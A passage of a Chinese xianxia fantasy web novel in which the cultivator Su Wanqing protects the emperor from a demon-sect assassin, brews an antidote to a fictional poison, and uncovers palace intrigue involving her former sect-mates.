“这是什么?我不吃!”悬在空中的剑轻轻地划过他的腿,他瞬间就怂了,张开嘴巴将药吃了下去,哀怨地盯着眼前极其好看的女子。
“我吃我吃,现在能放下我了吗?”
苏晚清随手解了他的禁制,警告道:“记住哦,一旦王公子生了歹心,这个药就会令公子尝尝撕心裂肺的感觉。愿我们后会无期。”
她带走阮玉秀,将其送到草木村外,临走之际,阮玉秀问她这个药是否如她所言那般。
“不是,那么好的药他不配吃,不过能震慑他一阵。”苏晚清笑着说话,话锋一转,又到离别之时,她语重心长地道,“我此次离开可能不会来此,玉秀,我有很重要之事要做。”
离别是常有的事,阮玉秀目送她离开后,转身步入那黑暗之地。
天下无不散的宴席,重逢是分别之人最欣喜的时刻,但愿他们能有相见之日。
4. 你伤不了他
苏晚清在这里待了半月有余,灵力恢复了许多,眼下正是她应去山阳之时。
当即之下,还是先去租好的客栈歇息,明日一早便上路。
不知为何,总是不遂人愿,苏晚清抵达山阳时得知贼子也下落不明,她一时之间失去了方向,不知何去何从。
“未至终点,弃乃为懦弱者所为。”
苏晚清心中油然想起师尊时常对她说的一句话,她不是没有归宿,她要自己创建一个居所。
她有天离丹,修为恢复指日可待,可抵御一切杀机。她断然不可能弃复仇之机会。
于是她便从简单的除妖师做起,一步一步壮大自己的名声,腰包里的兜也多了许多子儿。
她也从不以男装示人,求她者皆知她本为女子,纵使她的名声闻者走远,近者生怯,但也不妨有愿求低价的百姓。
三年之内,她已成功建立了自己的门户——清水居,以一己之力入仙门百家之坐席。秋山派已久紧追不舍,她只能一一破除计谋,在此逢生。
经过三年的调查,她只知李若酌曾在毓秀山庄出现过,但她前去之时毫无收获可言。
只能先行作罢,且行且看罢。
近日以来,她时常梦到儿时之事,梦里的一切若海市蜃楼般,看得清楚,却无法触及。世事无常,却常牵绊人心,割舍不下,亦难以直面。
平静的日子已过三年,她本想再入毓秀山庄探个究竟,她不信一个执着于成仙问道的恶人会自戕。
然她的行动正欲开展,却因一封信的到来而被打破。她依稀记得,那日是清晨。
*
某日清晨。
苏晚清坐在清水居的竹亭之中抚琴,清风徐来,院中的海棠花香沁人心脾,与那悠扬婉转的琴声合奏,令人心旷神怡。
忽见一小丫头慌慌张张地跑向此处,手里捧着一封上好的信纸,她接过信一看,原是盛京的儿时伙伴司马觉寄来信件:
“阿凝安好?儿时故人曾言:‘若我有难可寻阿凝’,今我深陷囹圄,想请阿凝承儿时之情,速来京城护我安然。”
苏晚清沉思半刻,脑海迅速掠过与司马觉儿时的画面,说来自己当真欠他一个人情,既然如此,去又何妨。
“你切记留意飞鸟,若有发现,即刻传书于我。”说罢她交代了一些事情后便御剑望盛京赶去。
司马觉这个人,是否和如从前那般,传言曾道他治国无方,受制于辅城王,处处不得意,清风明月也有训诫——弟子不得介入凡尘事,违者必究。
她现在并非清风明月之人,如此行径,当是无虞。
半日抵达盛京之时已经是亥时。
一至皇宫,尽是一股奇怪的气息飘荡。她站在最上方,俯瞰底下灯火通明的皇宫内院,看上去风平浪静,与平常并没有什么两样。
于是她果断使用探息之术,果不其然,在这平静的背后是千万丝线缠绕而成的隐蔽结界。
一道灵符飞到她的手里,待她查看过后,即可化作灰飞,而她握紧了手里的剑,一剑横扫而去,开出一条道。
女子驰骋而去。
承乾殿内。
惜命的宫女似鸟受惊吓一般倾巢而出,全然没有之前的礼仪,而保护皇帝的侍卫尽数倒地,这里的珍贵物件散落一地,破碎的瓷器沾上人血,空气中多了难嗅的气味。
皇帝司马觉吓得滚在地上,手里拿着的刀抖动得快要握不住,负责贴身保护的修士时刻将他提来提去的,就算不被这妖人害死,只怕也得晃死。
司马觉不知道为什么魔宗少主如此执着要取他的性命,他被护卫护在身后,露出半个脑袋,对着那人道:“温衡,孤与你无冤无仇,你何苦要取孤的性命?”
大殿安静了半晌,心提到嗓子眼的司马觉觉脖颈一片冰冷,反应过来时,温衡正站在他的眼前,虎视眈眈地看着他。
温衡想不通,只要他用力一刺,司马觉就会流血而亡,他勾唇一笑,便道:“司马觉,你的命现在是我的了。”
话音刚落,一道寒光径直劈来,司马觉被丢在龙榻上,只见苏晚清瞬移提剑去挡,剑器相碰撞的声音格外刺耳,光芒的光穿透整个大殿。
温衡躲避之时来人已带走了司马觉,他立即去追,不过半晌便在御花园截住了他们。
貌似是个女子,原来是那日的女子,她的名字好像叫苏晚清。
能在他眼皮子底下将人带走,说明此女子灵力不低,要不是有更重要的事情要做,他多多少少得与这个女子好好纠缠。
“我当是谁,原来是苏晚清,苏姑娘。从前灭了无尘派,如今也一改往日,改保护人了?都说狡兔死,走狗烹。这个皇帝他做不久,待我杀了他,定会送姑娘下黄泉与他一起做对亡命鸳鸯。”
“温衡,你倒是口气不小,说大话也不怕闪了舌头。”苏晚清打量了一下温衡,心想这就是魔宗少主温衡,看上去还挺年轻,也有几分姿色在身上,只是动了不该有的心思,越是不要管的事,她偏要管。
“阿凝,你小心。”
她示意司马觉先走,随后截住温衡,“你一个好端端的少主不做,跑来京城做什么?”
温衡那副眼神有几分鄙夷,语气更是不屑:“苏晚清,没死在秋山派手里不痛快吗?多管闲事不会有好下场的。”
她笑了笑,收了剑,并且正在朝着他慢慢走开,“我看温公子就是聪明人,我如今这般模样与你可脱不了干系。”
闻言,他一笑了之,握紧手中的剑,眼底杀意越发浓郁,“是么?那我再送你入黄泉,到了下辈子记得别多管闲事。”
靠近他那一刻,消失的剑又现于她的手中,她执剑扫去,温衡眼里闪过错愕,随后便向后倒去,点地而起,寒光快速掠过这里的花草。
花草被迅速掀飞,如雨般掉落在两个人之间,温衡不想与她纠缠,在那刻便追着司马
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觉离开的方向而去,一直追到玉贵妃的住处。
*
“司马觉,若你还有几分魄力,就不要躲在女子身后做个缩头乌龟。这样,我会看不起你的。”温衡一脚破开大门,执剑而来,看着躲在玉贵妃身后的司马觉,嘴上不觉多了几分讥笑。
两人瑟瑟发抖,玉贵妃害怕地看着温衡,一旁的宫女纷纷跪在地上求饶,生怕他一剑扫来,自己就一命呜呼了。
苏晚清随即赶来,挡在他们前面,“温衡,司马觉的命数未到,你不能擅自取他的性命,我不管你授谁的意,今夜你休想伤害司马觉半分。”
话虽然说出去了,但对面那个人好像听不进去,一心要杀了司马觉。苏晚清虽然也觉得司马觉做君王很失败,但这并不能成为丧命的理由,尤其还是以这种不正当的借口。
“司马觉对你当真如此重要?既然这么护着他,我就成全你们。”
又是这个女子,温衡动了些杀念,既然这个女子不知死活,那他何必留情面,他便用尽全力。
既然如此,便不必留手。
苏晚清为了保护他们的安全,只能为其设下一个结界,在对战过程,她真真切切感受到温衡这个人不容小觑,她的招式他都能一一接住。
同样的,温衡的剑式,她也能接之。
长此以往不是办法,温衡在与她对招的过程中,忽而向侧面靠近,借着缝隙破除了她的屏障,眼看就要刺中司马觉,千钧一发之际苏晚清握住了那把剑。
血一点一点地滴落在地上,手上的痛令她更加清醒,而她在温衡震惊之时,推开了剑,并召唤出命剑攻击。
她拉着司马觉的手,令其掌心翻上,她在上面划了一道很浅的痕迹,自己则将手覆上,掌心相对,两人的鲜血相融在一起。
她没注意,司马觉看她的眼神好像变一些,待完成之后,她嘴唇有些泛白,收回了剑,对着温衡道:“温衡,我不管你是因何而来,今日你伤不了司马觉。”
温衡不信,尝试一番后无果才就此作罢,他无所谓地盯着苏晚清,没来由地道:“真是好一对痴男怨女,看得我很是羡慕,不过苏晚清你最好谨慎一点,否则棋差一招,成了一对亡命鸳鸯,这可就得不偿失了。”
苏晚清忽略他语气里的阴阳怪气,只道:“多谢温公子提醒,我定会事事小心,不会辜负你的一番心意。”
“今日看在苏姑娘的碾子山,就留你一命,我们来日方长。”温衡的手中幻化出一颗烟花,他将其推向上空,烟花入了黑夜迅速燃放,绽开绚丽的图样,苏晚清知道这是魔宗撤退的信号。
苏晚清也是丝毫不惧,正义凛然地直视那双好看的眼睛,笑了笑,负手道:“温公子,后会有期。”
“此话,也是我想对苏姑娘说的。”
温衡眯着眼睛,似要将苏晚清这个人看穿,顷刻过后,他整个人便散于原地,消失在了皇宫之中,再无其存在的痕迹。
5. 师姐她别有所图
皇城目前调查不出有其他魔宗之人出没,苏晚清出去后里里外外查了一圈,全无妖的气息,唯一有过的地方就是西巷。
在温衡离去之后,玉贵妃一干人等纷纷松气,司马觉承诺会重重赏赐她的,随行公公带着姗姗来迟的鸾驾赶来,他看了一眼苏晚清,十分诚恳地道:“阿凝,我本以为你不会来,今日多亏有你。”
一封信送出去花了三日,而苏晚清来的正是时候,当年他对苏晚清所行之事有所耳闻,但他坚信她定有苦衷。
月光照在苏晚清的身上,她似有几分温柔覆上了她的脸,她只是道:“我说过的,欠你的东西一定会还。对了,温衡怎会来这里?”
司马觉不想在此谈论这些事情,他提议到他的寝宫议事更好,但苏晚清不想同他随寝宫,就将地方定在他的后花园。
他点头答应,摆手撤下所有跟随之人,与她漫步在后花园之中。
“阿凝,此事说来也怪我。一来是因我前阵子推行的礼法引起了暴乱;二来则是慈恩楼的修建工程本就复杂,三日前有一女子进楼寻夫,被断木砸伤后不治身亡。其夫告官,但未得妥善处理,便拦孤御驾,孤以为他是刺客,便使他当街被杖责至死。”
苏晚清不语,继续听他接下来的话,“孤当时不知真伪,这是孤的错。坊间传闻有百姓众筹钱财,请天魔宗出手,取孤之命。阿凝,你听完后,是不是也觉得孤是罪有应得?”
他当时神志不清,脑海之中一直将那拦截之人幻视为辅城王。有个声音不断蛊惑他下杀令,但他苦苦挣扎了许久,未等回神,那人已经被守卫杖责而死。
也就是说,司马觉加重赋税,也不分青红皂白打死了修建慈恩楼的工匠。
“陛下是如何安顿他们的家人的?”苏晚清没有回答他的问题,只是问道。
天子草菅人命,引起百姓动怒,此事一开始引起了轩然大波,但后来便不了了之了。
司马觉心里十分愧疚,他目光落在苏晚清的侧脸上,默然几刻,道:“赐了方氏余下百两黄金。”
他是天子,自有生杀大权,旁人若敢乱嚼舌根,下场只有死路一条。苏晚清与他只有儿时之情,自然不可肆意评价他行之事,但心中却生了几分嫌隙。
她如释然般道:“陛下有仁爱之心此举甚好。”语气里既没有指责,也没有赞扬,如平常一般的话语落在了司马觉的耳中。
“阿凝,你为何对我如此生分?儿时我们可谓无话不谈,是因我的身份吗?”
司马觉上前走了几步,与她并肩,侧身去与她对视。对于她的生疏,司马觉心里是失落的,眼神也不由得有了一丝幽怨,他想让她同儿时一般唤他。
苏晚清的神情中并无疏离,但也无亲近,于她而言,身旁之人早已与自己记忆中的司马觉不同,她只是客气地道:“陛下多意了。您如今贵为天子,拥有三宫六院。民女一个儿时故人能得陛下眷恋,倒是我的福分。我以回生之法置于你掌心,可保陛下三年不受法术伤害。”
她话里的意思是救了人,就会离开吗?
她话未尽,司马觉便道:“阿凝,你我许久未见,能不能先别走?我想与你说说话,可以吗?”
话中略带着乞求的意味,这令苏晚清百思不得其解。明明他们之间的情谊说不上有多深厚,这个人对她总有几分依赖。
司马觉见她迟迟不语,心中十分堵塞,一口气提不上来,喉咙一阵疼痛过后,双眼一黑,重重地倒在了地上。
苏晚清:“……”他何时变得如此羸弱了?
她把人唤来,将抬人去寝宫后太医院的人急匆匆地赶来,其中几位受宠的妃子接连赶来,一脸担忧地瞧着,恨不得躺在床上的人是她们一般。
大部分太医查不出病症,只说是奇症,其中一位德高望重的太医通过望、闻、问、切诊出了病因,但也不敢轻易下论断。
苏晚清请示皇后,在获得许可后方入内探脉,众多视线落在她的身上,皆是期待。
由于人气过重,皇后决意将妃嫔遣散,只余皇后、苏晚清以及那位太医。
“咳咳咳——”司马觉有转醒的迹象,半晌过后,他缓缓睁开双眼,先是扫了在座之人,最后将目光落在皇后身上,哑声道:“皇后,孤有些渴,替孤去御膳房盛点润喉的汤来吧,旁人去的话孤不放心。”
皇后心中一喜,招呼了他们几句,连提着裙摆离去。
随后,苏晚清与太医相视一眼,便道出心中的猜想:“与章老所言如出一辙,是墨嵬花毒无疑。”
墨嵬花并不多见,且只存于古籍,传说只生长在极寒之地,章太医早年得仙人指点,知此花全貌与功效,也见过中此毒者症状是何症状。
古书曾有言,墨嵬花长于极寒之地,毒性常年被寒气压制,一经出世,便可释放毒性。其汁味道如墨,难掩盖。
中毒者身如刀削,心若裂变般疼痛,全身长满墨色花纹,三到六年非疯即死。
这种毒,至今未寻到可医的药。
司马觉也不责难,只是遣退太医,独留她在内。苏晚清看穿他的意图,她的视线略在那张苍白的脸停留了半刻,随即便起身,给他一个定心丸。
她道:“墨嵬花并不是无药可解,我听说如意师姐府上有一花名唤寂尾花,我替你寻来作为药引。”
之前还在清风明月派时曾听慕怀景师兄提过一次,算算日子,也快到十五了,如意师姐每月十五都会归家一次。
“你不问我因何中毒?”司马觉忍不住问道。
苏晚清反问道:“原因自有你查,我替你将毒解了岂不是更好?”
他似反应过来一般,笑了一下。
正巧皇后盛了汤进来,苏晚清本着不打扰夫妻恩爱的场面的由头离开了此地,她自觉地关上门,跟着在外等候已久的公公离去。
离去之前,司马觉给了她自由出入皇宫的令牌,她未递上辞别信,心中想着先解此祸罢。
*
步至宫门前,她看到了远处站立于石狮旁边的紫衣男子,他的样貌还算出挑,清秀的五官很是立体,眉间带着几分阴郁,苏晚清大大方方地走过去。
那是鹤羽长老的嫡传弟子,也是北临太师之子慕怀景。
公公就送到宫门,准备离开时瞥见苏晚清的疑惑,忍不住在此刻提了一嘴,“苏姑娘,那边那位是慕太师的独子,慕怀景公子,他已经在此等候陛下面见三个时辰。”
公公离去。
苏晚清表示会意,但不理解,他慕怀景与司马觉乃是从小到大的兄弟,不说亲如兄弟,但若情谊深厚的知己。
“慕师兄,许久不见。”苏晚清并不疑惑他会在此处,只因司马如意有这十五归家的由头,他便也随之。
慕怀景却是一脸诧异,“晚清?你怎么会在此?我听闻你已经——”后面的话他没有再说,但她已有所察觉。
听闻她是死在了天魔宗手里还是惨死妖手?这些传闻并不是假的,当初她未恢复灵力之时确实遭到了围攻,不过好在她仍有一己之力,最终依旧拼得活命的机会。
这些已是当初,不值一提。
苏晚清眼中已有释然,她神色有几分淡然,顷刻之间回归正事,道:“这些已经过去了,师兄是陪如意师姐回来的?”
提到司马如意,慕怀景眼神霎时转为黯淡,甚至能看出其中藏着愠怒,但皆已被他压下,他的声音听上去依旧如以前般温柔:“我正要去她的府上。”
这不就是巧了,苏晚清提议与他同去。慕怀景未拒绝他的提议,将她带上在宫外等候已久的马车,不过半个时辰便抵达衡阳郡主府。
门外来客络绎不绝,郡主府前人流不断,挤在一处,一眼望不到边,还是嬷嬷一眼望到了慕怀景,打了招呼那些人才让出一条道。
她将准备好的礼物交给嬷嬷时慕怀景明显一惊,疑惑她何时准备了礼物。早在清水居她便准备好了许多东西,放置在腰间的乾坤袋中,以备不时之需。
进入郡主府后,慕怀景交代了苏晚清与郡主的关系后便没了踪影,独留苏晚清一人在府中穿梭。
有几人看她一人,就手执酒樽前来搭讪,但都被她打发离开。
前堂坐满了宾
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客,她依旧不见司马如意的踪影,她坐了一会儿便起身,四处走走。
步至后院花园,她的目光被一处地方吸引,假山石周边被铺满了花草,唯有那处犄角旮旯的地方留了空隙,此刻的金色日光照进去时,像镀了黄金层一般。
她走过去,定眼一望,竟是她要的寂尾花。
花状似五指张开,叶片细小如豆粒,其茎若枯木一般,但已绽的红色花瓣格外娇艳,璀璨夺目,确定是它无疑。
她还未有动作,那边就传来了争吵声,本着不窥窃旁人隐私的心,苏晚清还是慢慢将头从假山中探了出去。
正对着争吵的二人——司马如意、慕怀景。
司马如意气的妆都花了,貌似想动手,看着那口型,好像在说:“慕怀景,你以为你是谁?我想做什么都是我的事,你管不着。”
而慕怀景脸上还有印子,她想应该是司马如意打的,她仔细看着慕怀景的口型,分析他说的话应该是:“司马如意,你去北域寒山巅取走墨嵬花就是来回来下毒,别以为我不知。你借我的手让陛下喝下我送的茶,想要离间我们。你父亲要疯,你也一起跟着疯吗!”
他貌似也有些生气。
苏晚清只能勉勉强强猜出一些,两人还在争吵,她想了又想,还是觉得听墙角这事不太好,准备拔腿离开时,一道力量冲来,幸是她躲避及时,才免了这场祸事。
一旁假山石碎成齑粉,司马如意怒意更深,已失了七分礼仪,喊道:“谁在那?滚出来。”
苏晚清自知逃不过,干脆就大方地走了出来,她表明自己是刚到此处,并未听到他们任何言语。司马如意半信半疑地盯着她,反观两人的异样少了很多。
慕怀景生气地瞧了司马如意一眼,忍着怒意,拂袖离去。
“你是苏晚清?你怎会在此?”司马如意将刚才的一切拂去,仿佛不存在一般,她重新换上了笑容,看起来亲切极了。
苏晚清道:“历练至此,想起故人便想着拜会拜会,贸然来此,师姐可不要怪罪我。”
司马如意半信半疑,自己与苏晚清并不熟识,只是打过几次交道,这次突然来此,应该不只是普通拜会那么简单,她便看看晚清想做何事。
“师妹能来看我,高兴都来不及。走,师妹,我带你逛逛。”
苏晚清求之不得,她故意绕到那片假山旁边,见到盛开得极其灿烂的寂尾花时表露出欢喜的神色,
“师姐,此为何花?”
走了许久,司马如意有些疲倦,加之刚才与慕怀景的对峙令她更加心烦,她答了苏晚清的问题,便让她自行游走,自顾离去。
有了寂尾花,再加之元鼎炼化,她的丹药便可成型。
她本来想去拜别司马如意,但晚宴开始至结束她都未见司马如意的影子,连慕怀景身影也失踪了个彻底。
早早离去为好。
*
一声马蹄响过,马车停在了她的旁边。
那人看上去似过了而立之年,那双眼睛直勾勾地在她身上打量,着实有些不喜,“我看小姐从始至终都是一人,不如随在下回府上歇歇?”
她立即回绝,“这倒不必,我与你并不相熟,公子的邀请恕我不能答应。”
那人似乎以为她是个柔弱女子,出言调戏了几句,便想强行掳走,谁曾想苏晚清手上突然多了一把若隐若现的剑,毫不犹豫地穿过他的车帘,直接将他吓得惊慌失色,怒架马车离去。
“真是大千世界,无奇不有。恶心至极。”她忍不住吐槽,选择继续行走。
走到小巷那处时,一道黑影迅速地从她眼前掠过,她心觉不妙,立即追了上去。
她追到西巷时便已寻不到那道身影。寂静无声,只有她走路的脚步声响在耳旁,她的心却如何也平静不下,总觉有一种不详的预感。
拐角处莫名发出的声响诡异,她驻足脚步,召唤焕发光芒的灵剑袭向那边,什么动静也没有。
“啊!!”
她停在原地,迈步向前几步时,忽听闻一声喊叫,下一刻,不知是何物重重地落在了地面。
6. 暗香坊的男倌
是何物?这声音与人无异,倒是奇异若她站在原地,只怕已经被砸伤,当即之下先还是看看是何罢。
苏晚清挥手,将这里已灭的灯点燃,才将此处黑暗驱除殆尽。光入眼帘之时,是那躺在血泊的更夫,她上去探了一下其人的脉搏。
生机已绝,无回旋的余地。
呲呲呲——
地面传来奇怪的声音,貌似正在朝此处赶来,她垫地而起,将此处照亮,一剑扫去地面,只见无数相互缠绕的蛇对着她呲呲呲地吐舌头。
“阁下若想取我性命,尽可来取,连累无辜之人,真是下作无耻。”幸好她出门在外,一切都准备妥当。她从乾坤袋取出驱蛇之物。
撒下雄黄粉后,原本凶猛的蛇顿时变得灵巧,不甘心地吐着蛇信子,作势要猛扑上来,被苏晚清手中的剑扫下之后,扭着半截身体纷纷逃窜离去,一溜烟便没了踪影。
她的话音落下之时,树影婆娑之地恍然拂过一道颀长的身影,那人悠然执扇躺在树上,她看不清那人的面容,也听不到声音。
顷刻,来人的声音朗朗如月,带着个煞人的银蛇面具,语中透出几分欣喜,说的话却是直接无比,“躲了这么久,是不是也得偿命了?”
苏晚清一听这话便知晓又是秋山派招来的杀手,这三年以来,追杀一直未断。
她明明已经是个废人了,还不打算放过她。
“那要看你有没有这个本事?”苏晚清御剑迅速离去,越过重重高山,一直来至一处荒山才停下。
两人之剑相互碰撞,火花四溅,被点燃的灯瞬间破灭,黑暗复燃,留下的唯有月色。
那人一剑袭去,转身之际接住她向下的剑,她提腿踢去,剑光横扫而去。
这一片的树木尽数倒塌。
“你这女子,不知羞耻!”她刚才差一点就要踢中某处,幸好是他及时闪躲,立即至女子身后,准备偷袭,不曾想却落了空。
“智取不分羞耻。”
苏晚清一跃而上,从陆地飞至清湖上方,抬手施法,无尽落叶听她号令,皆如百纳海川一般袭向他。
两股力量相撞,湖面的水不再平静,而是剧烈波动,不消半刻,他们身后皆涌起一道水柱,迸溅开来,将两人淋湿了个遍。
她移到他的身旁,一掌落在他的胸膛,第二掌准备落下时,他手驱长剑往后移去,又如疾风一般从半空出现。
苏晚清眼见不妙,赶紧点地而起,借着风的力量于空中转了半圈,站在他的剑上。
她借力跃在半空一脚踢中他的胸膛,剑于手中,长驱而去,悬在他的脖颈之上。
剑在颈侧,那人不敢有何动作。
“秋山派都与天魔宗勾结了吗?派你一个毛头小子,未免也太看不起我苏晚清了。”她将禁锢灵力的法环套在他的手上,收剑欲走,却被那人叫住。
“你,你不杀我?”声音里满是惊讶,又有几分懊恼。
苏晚清一溜烟来到他的旁边,笑着说道:“杀你做什么,也挣不了几个钱,反倒还脏了我的剑。知道这里叫什么山吗?此为万丈山,没了灵力,徒步下山得半个月。你误了本姑娘的时辰,就罚你自求多福好了。”
“你!苏晚清,你给我等着。”
那人前脚还在放狠话,后脚便说不出来了,他的干粮尽数已被那女子截走。
也不知皇城那边状况如何。
*
她还得赶回去,回到住处时,她发现原本关好的门窗竟已接连被打开。
进贼了。
哪个不知死活的。
她刚一进门,便有股力量攻向她方。风涌入房,而她侧身躲过,手立即掐住那人的脖子。顷刻,她便觉手上像是覆上寒冰一般,寒冷之感传至手臂,如坠冰川。
那人半分反应都没有,只是任由她的动作落下,这弄得苏晚清一头雾水,待门窗重新关上、灯被点燃过后她才看清了那人的模样。
燕寒舟。
“胆子不小,连师兄都要杀。”燕寒舟眸中的寒冷越发刺骨,蔓延得极快,苏晚清一见是他立即松了手。
苏晚清尴尬地笑了笑,道:“师兄你明明可以光明正大,偏要做贼,我哪能知道是你?”
燕寒舟没解释,只是坐到她的桌旁,道明来意:“师尊召你回山,你即刻与我回去。”
“秋山派与无尘派之间的勾当恶行还未揭露,我贸然回去怕是不好吧。有何事,就在这里说。”苏晚清还有要事要做,眼下回去,一时半会回不来,只怕司马觉等不了这么久。
她沏了杯茶,推到燕寒舟的面前,也给自己温了一杯酒,举杯似要与他碰杯。
“无尘派之事早已查清,公之于众。你所行无错,至于秋山派的措辞不见得是真,清风明月派从来都不归于仙盟管辖。”
燕寒舟施法取走她正要饮下的酒,毫不犹豫地倒在地上,提醒道:“师尊曾言,酒易伤身。我在和你说正事,你滞留此地,不过是因那毫无实权的皇帝。”
是这样说没错,但苏晚清听着总觉得是不舒坦,好像她因司马觉不务正事似的。
总之,她还是替司马觉辩解了两句,“师兄,司马觉掌握实权指日可待,我留下是为了帮他解毒,还那儿时的救命之情。”
燕寒舟饮下茶,沉默了半晌后道:“这是你的事,我不关心。你解决好那边的事就跟我回山。”
苏晚清见有回转的余地,点头答应着。不过燕寒舟仍有疑惑,明明师尊给了她玉坠,却不用此召唤她回来,反倒是让他跑腿,除去内心的几个想法后,他想到了最后一种。
“我三年前给你的玉坠,拿给我瞧瞧。”他不问她是否随手丢弃,而是问她拿来观观。
这个嘛,苏晚清有些赧颜,不知如何开口,思来想去还是决意告知:“师兄你是知道的,我三年前下山时身无分文,崔师妹顺走了我房中所有的钱财,我一时穷困潦倒,只能先将它抵押在当铺。”
燕寒舟沉着眸子盯她,语气微冷,“之后就不管不顾了?”
其实并非如此,苏晚清在寻得安身立命之所,换得报酬之后立刻打算将它赎回,可当铺的店主说是早在她抵押的那一天,玉坠就被人高价买了去。
她当时痛斥这个黑心无良的老板见钱眼开,丝毫不讲究诚信,但也没法子,三月已过,连人长何样子都不知。
也只能认栽罢了。
苏晚清听到他的话是连连否认,道:“师兄明鉴,此事怪我,但错不在我。我一个弱女子独自行走江湖,没财没权,只能自谋出路。玉坠被人高价买走,我这两年也一直照着当铺老板给的线索寻找,师兄暂且放心,定能将师兄之物完璧归赵。”
燕寒舟默然,未言语,但嘴角明显地抽了一下,心里大概是觉得她不上心。
对于此,苏晚清确实感到有诸多欠妥之处,但那时已是她能做得最好之事了。她还想再说话时,却瞧见燕寒舟起身准备离开。
她问了一句,“师兄,师尊如何了?我三年未曾打探到师尊的情况。”
他顿了一下,声音落在身后,“一切如初,我就在云来客栈,处理好之后到那与我汇合。”
等也可以,但绝不能如今日贸然出现在她的面前,苏晚清朝着门外,提高了声音:“燕寒舟,下次别随意进我屋子。”
这架势,是怕她趁机逃了不成,这师兄依旧是个死脑筋。没法,正好她也想回山瞧瞧,看看是否如师兄所言那般一切如常。
*
宫里有备好的炼丹炉,苏晚清卯时便已起床洗漱,等待着司马觉派来之人前来接送,送至丹药房便打发那些人离去。
说来,这司马觉也当真是信任自己,人说遣散便遣散,不怕她在药中放点什么东西。
不过,自己也非那类人,这一点,苏晚清觉得已是最好。
她足足花了两个时辰才炼好丹药,她周身都是火的气息,热气腾腾地水汽扑腾在她的脸上汗液自她的脸间滑落,迅速滴在地面。
炼好的丹药大部分被她装入桌上备好的棕色琉璃瓶中,刚要收入袖中时,紧闭的大门倏忽打开,一张熟悉的脸庞映在她的眼眸之中。
苏晚清立即收好东西,将余下的丹药放置在白色琉璃瓶,而后一挥手将火炉里面的火熄灭,整理好散乱的发丝与衣裳,上前接待抵达的女子。
“师姐怎么会来这里?”她先问,司马如
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意的消息来得倒是及时。
司马如意挽着她的手,笑得很是亲昵,但目光却落在了苏晚清身后那一列摆好的药罐子,似乎在寻找着某样东西。
司马如意的语气有责怪的意味,是在抱怨她为何不讲实情,令其陷入不义之地,“昨日你来我府上怎的不告诉我陛下中毒的事?我今早才得到消息。”
可昨日苏晚清听到的话并非如意师姐今日所言。
苏晚清只能附和着,尽量减少被动局面,回挽着道:“此事慕师兄也知晓,我以为他会告知于师姐,待我再遇慕师兄,定要问问他。”
此话甚好,只是委屈了慕怀景。
司马如意也没再纠结,想着打探一番苏晚清的情况,“师妹,陛下中的毒你可有对策?”
果然还是来打探消息的,苏晚清回道:“师姐,实不相瞒。我没有十足的把握,陛下所中之毒太过诡异,一时之间我束手无策,只能查阅古籍,多多尝试炼丹之法,看药是否奏效。”
司马如意提议道:“可否让师姐开开眼,见识一下师妹所制的丹药?”
气氛到了这时转变了许多,她能感觉到师姐来此的目的就是想看看她是否已经炼制出解毒的解药。
苏晚清拿出早已备好的琉璃瓶,递了过去,“那就请师姐过目。”
看过之后,司马如意与她客套了一会儿便说要去拜见太后,早早便离开了炼丹房。
又过了两个时辰,白色琉璃瓶中的红色丹药,渐渐转成了黑色,她不由得陷入了沉思。
寂尾花若是与相克之物融合便会转色,所呈现出的色泽大多为黑。
师姐,想害司马觉。
罢了罢了,先送药。
*
苏晚清送药过去时已是亥时,司马觉貌似算准了她此时会过来,准备了一桌子的饭菜等候。
从午时至今她是滴水未进、米粒未入腹中,虽说她是修仙者,但并未达到辟谷的至高境界,依旧会饿得前胸贴后背。
她拘谨了半刻,也不再客气,与他入桌共吃晚宴。眼前琳琅满目的菜是她此刻最大的救星,她的耳中已融不下司马觉一堆叽里咕噜的话,那些话自左耳进右耳出。
吃饱喝足后,宫人接连撤下菜品,苏晚清将丹药给他,嘱咐道:“此药可解你身上的墨嵬花毒,但仅此一次。墨嵬花有百种毒素,每一种毒都需要不一样的解药。”
她不知自己是否应告诉司马觉今日之事。
“孤知晓,慕怀景不是有意害孤,孤免去了他的罪责,阿凝,你说昔日亲如手足,今日怎会手足相残?”
他都明白,他不傻。
司马觉接过,当着她的面一口吃下,中途咳了几次,他静静地转身看她,之后又移开目光,瞧地面月照出的两个影子,试探般地问道:“阿凝,你能不能留下?”
他的心在此时跳得极快,每一次都像被击中的鼓声一般,浪花卷过千层,终不比风席卷过后的寒冷。
苏晚清没在第一时间给予回复,思忖后才认真地道:“司马觉,你我依旧如从前那般,若你需我相助,我定赶来。”这一次,她未唤他陛下。
留下,便被牵绊。她还有诸多要做的事,断不可定在某处。
“有妖气!”
“阿凝,我……”司马觉的话还没有说尽,女子便追着远处迸发出的光圈离开了这个地方,未曾听到他后面的话。
……奇怪,甚是奇怪。
那道光芒明明是在此处消失,但苏晚清却查无所获。
她寻着遗留下来的蛛丝马迹来到了盛京第二大青楼——暗香坊。这里有男子和女子的嬉戏打闹声,更多的是调情。
“姑娘,你也是来寻欢作乐的吗?我们这儿可应有尽有,男馆儿啊可多的是,上来呀。来呀~”
楼上的姑娘瞧着苏晚清的打扮,觉得她是那家乔装出逃的小姐,是个有钱人,就立即张罗几位长得怜人的男倌儿出来。
一个个男子满面红妆,着各种亮色的衣裳,同姑娘们拿着一样的手帕招罗客人,那勾人的眼神让人看了都要颤三颤。
苏晚清被声音吸引,忍不住抬头向上看,好似看到昨日那人在朝她示威。
7. 天魔宗左护法
暗香坊是盛京数一数二的青楼,虽比不过此间最大青楼万花楼,但在这也算是个响当当的地方。人群在此涌动,门庭若市,不乏王公贵族,更有甚者,平民百姓也。
老鸨是个势利眼的人,一开始因为她是个女子,且看她没拿出钱来,就死活不让她进。
越是不让进,苏晚清便更要进,她二话不说拿出了一个钱袋子,豪气地在老鸨面前晃悠晃悠。
她问道:“现在,小女子可不可以进去了?”
苏晚清见她要抢,将其丢到空中,转了个身又拿在手中并从里面拿出两锭银子,她先不给老鸨,得先要个准话才行。
老鸨看着白花花的银子,眼睛都要看直了,连连点头,语气也比之前和善了不少,满眼全是对钱的渴望:
“可以可以自是可以。妈妈我啊,别的不说,就冲姑娘这般出手阔绰,老身也得请姑娘进去坐坐。万花楼没有的男人,我们暗香楼应有尽有!小翠,请我们这最会伺候人的倌儿给姑娘。”
她这才将银子递过去,没有什么是钱财不能解决的事,若有,定是钱财不够。何况,这花的是大师兄的钱,她一点都不心疼。
燕寒舟临走之前,留了一袋钱在她的桌上,不用便是对师兄不敬。
她摆了摆手示意老鸨下去,自己想要自己逛逛。
